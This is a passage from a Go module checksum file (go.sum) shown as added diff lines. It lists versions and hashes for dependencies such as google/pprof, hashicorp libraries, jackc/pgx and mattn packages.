h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= +github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= +github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= +github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= +github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= +github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= +github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= +github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= +github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= +github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= +github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= +github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0= +github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= +github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= +github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= +github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= +github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= +github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= +github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= +github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= +github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= +github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= +github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= +github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= +github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= +github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= +github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= +github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= +github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= +github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA= +github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE= +github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s= +github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o= +github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY= +github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI= +github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono= +github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= +github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE= +github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c= +github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= +github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= +github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= +github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= +github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= +github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= +github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E= +github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg= +github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc= +github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw= +github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM= +github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4= +github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y= +github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM= +github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc= +github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs= +github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ= +github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jaswdr/faker v1.4.3/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= +github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= +github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= +github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= +github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= +github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= +github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= +github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= +github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= +github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= +github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= +github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod 